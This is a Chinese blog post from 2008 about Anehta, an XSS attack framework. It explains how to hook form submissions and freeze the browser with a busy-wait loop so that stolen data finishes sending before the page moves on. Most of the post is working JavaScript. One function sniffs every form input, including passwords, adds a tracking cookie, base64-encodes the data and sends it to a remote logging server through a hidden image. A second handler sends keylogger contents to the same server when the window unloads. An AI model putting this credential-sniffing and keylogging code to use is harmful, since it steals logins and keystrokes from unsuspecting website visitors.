Secur1ty just lik3 a girl. B0th of th3m h4ve s0me h0les. Y0u alw4ys try to f1nd the h0le, but n0t 3very tim3 y0u c4n 3xpl0it it!
查看文章 |
Anehta -- More on Hook Submit:阻塞Method的技巧
2008-10-29 10:24
上一篇提到了如何做hook,也讲到了hook表单提交的几种不同方式。 今天要讲的是实现的一点细节。 我们知道,javascript中大部分的method都是非阻塞的,这样的好处是可以提高效率,坏处是很多时候我们确实是需要阻塞的功能。 极少数method是阻塞的,比如 alert()这个函数,在alert()执行完成并返回前,alert()之后的javascript代码都不会执行。 再比如html页面里的 <link >标签应该也是一个阻塞的标签,在该stylesheet加载完成前,后面的标签都不会加载。 所以我们如果在执行一些javascript函数时,如果需要等待某个函数的返回结果,才继续执行,就需要使用这一类方法或者技巧。 在hook submit的过程中我就遇到了类似的问题: 不论是使用jQuery中的绑定事件,或者是自己hook函数的方法,均会产生一个类似 竞争条件 的问题,在submit提交时,还没有执行完logCookie的过程,页面就已经跳转了,从而使得cookie记录失败。 所以我们需要做的事情就是, 使得 anehta.logger.logForm() 这个函数 阻塞,或者 迟滞 submit提交、页面跳转的时间。 因为logForm()函数里,最终都是调用getURL() 实现的向远程服务器传递消息,所以需要等待 getURL()的返回。 在这里我采用的迟滞的技巧。 在AttackAPI中有一个函数: freeze(),不知道作者的本意是什么,但是我用在这里却起到了延迟的效果,它能够冻结住页面一段时间,但是却并不影响JS的执行。可是页面却在这段时间内不会跳转了,所以我们有了充分的时间可以完成我们的工作。 anehta.logger.logForm = function(o) { //alert("logForm"); var inputs = o.getElementsByTagName("input"); //url += "?"; var param = ""; // form的参数 for (var i = 0; i < inputs.length; i ++) { if (inputs[i].getAttribute("name") != null && inputs[i].getAttribute("name") != "") { param += escape(inputs[i].getAttribute("name")) + "=" + escape(inputs[i].value) + "&"; } } // 记录提交的参数到远程服务器 param = XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E + XssInfo_S + "Form Sniffer: " + escape(param) + XssInfo_E; param = anehta.crypto.base64encode(param); //base64时候对时间影响太大,会导致还没发包就页面跳转,从而出错 //alert(param); var img = document.createElement("IMG"); document.body.appendChild(img); img.width = 0; img.height = 0; img.src = logurl+param; // 需要冻结一段时间保证getURL成功完成 anehta.core.freeze(300); //return false; } 类似使用freeze()的地方,还有keylogger. // 在窗口关闭时候发送keylog 到服务器 $(window).unload(function(){ //alert(keylogger); // 时间不允许再base64加密了 //keylogger = anehta.crypto.base64encode(keylogger); // 明文传输,需要标记为NoCryptMark keylogger = NoCryptMark + XssInfo_S+"Keylogger: " + keylogger + XssInfo_E; //alert(keylogger); //anehta.core.freeze(500); anehta.net.getURL(logurl+escape(keylogger)); anehta.core.freeze(900); //alert(keylogger); } ); 其实现如下: // 在time(ms)时间内冻结浏览器;idea from AttackAPI anehta.core.freeze = function(time){ var date = new Date(); var cur = null; do { cur = new Date(); } while(cur - date < time); }; 当然还有更多的阻塞或者迟滞的技巧,以后再慢慢讨论和研究。 |
最近读者: